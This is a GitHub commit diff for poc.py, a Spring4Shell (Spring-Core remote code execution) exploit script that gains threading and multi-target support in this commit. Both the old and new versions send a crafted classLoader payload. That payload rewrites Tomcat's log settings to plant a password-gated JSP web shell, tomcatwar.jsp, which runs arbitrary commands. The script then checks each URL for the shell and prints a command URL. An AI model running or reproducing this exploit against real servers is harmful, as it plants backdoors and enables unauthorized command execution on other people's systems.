Skip to content

Commit a48c74d

Browse files
authored
Added threading
1 parent fac608b commit a48c74d

File tree

1 file changed

+55
-28
lines changed

1 file changed

+55
-28
lines changed

poc.py

Lines changed: 55 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -1,44 +1,71 @@
1+
#! /usr/bin/env python3
12
#coding:utf-8
23

4+
# Forked from source: https://github.com/BobTheShoplifter/Spring4Shell-POC
5+
# Bugs fixed by Rupe 03.30.2022 v.01
6+
37
import requests
48
import argparse
9+
import urllib3
10+
11+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
12+
513
from urllib.parse import urljoin
14+
from threading import Thread
15+
16+
17+
class Exploit(Thread):
18+
19+
def __init__(self, url):
20+
super(self.__class__, self).__init__()
621

7-
def Exploit(url):
8-
headers = {"suffix":"%>//",
9-
"c1":"Runtime",
10-
"c2":"<%",
11-
"DNT":"1",
12-
"Content-Type":"application/x-www-form-urlencoded"
22+
self.url = url
1323

14-
}
15-
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
16-
try:
24+
def run(self):
25+
headers = {
26+
"suffix": "%>//",
27+
"c1": "Runtime",
28+
"c2": "<%",
29+
"DNT": "1",
30+
"Content-Type": "application/x-www-form-urlencoded",
31+
}
1732

18-
requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
19-
shellurl = urljoin(url, 'tomcatwar.jsp')
20-
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
21-
if shellgo.status_code == 200:
22-
print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
23-
except Exception as e:
24-
print(e)
25-
pass
33+
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
2634

35+
try:
36+
requests.post(self.url,
37+
headers=headers,
38+
data=data,
39+
timeout=15,
40+
allow_redirects=False,
41+
verify=False)
42+
shellurl = urljoin(self.url, 'tomcatwar.jsp')
43+
shellgo = requests.get(shellurl,
44+
timeout=15,
45+
allow_redirects=False,
46+
stream=True,
47+
verify=False)
48+
if shellgo.status_code == 200:
49+
print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
50+
else:
51+
print(f"\033[91m[" + '\u2718' + "]\033[0m", self.url,
52+
"\033[91mNot Vulnerable!\033[0m ")
2753

54+
except Exception as e:
55+
print(e)
56+
pass
2857

2958

30-
def main():
59+
if __name__ == '__main__':
3160
parser = argparse.ArgumentParser(description='Spring-Core Rce.')
32-
parser.add_argument('--file',help='url file',required=False)
33-
parser.add_argument('--url',help='target url',required=False)
61+
parser.add_argument('--file', help='url file', required=False)
62+
parser.add_argument('--url', help='target url', required=False)
3463
args = parser.parse_args()
64+
3565
if args.url:
36-
Exploit(args.url)
37-
if args.file:
38-
with open (args.file) as f:
39-
for i in f.readlines():
40-
i = i.strip()
41-
Exploit(i)
66+
Exploit(args.url).start()
4267

43-
if __name__ == '__main__':
44-
main()
68+
if args.file:
69+
with open(args.file) as f:
70+
urls = [i.strip() for i in f.readlines()]
71+
[Exploit(url).start() for url in urls]

0 commit comments

Comments
 (0)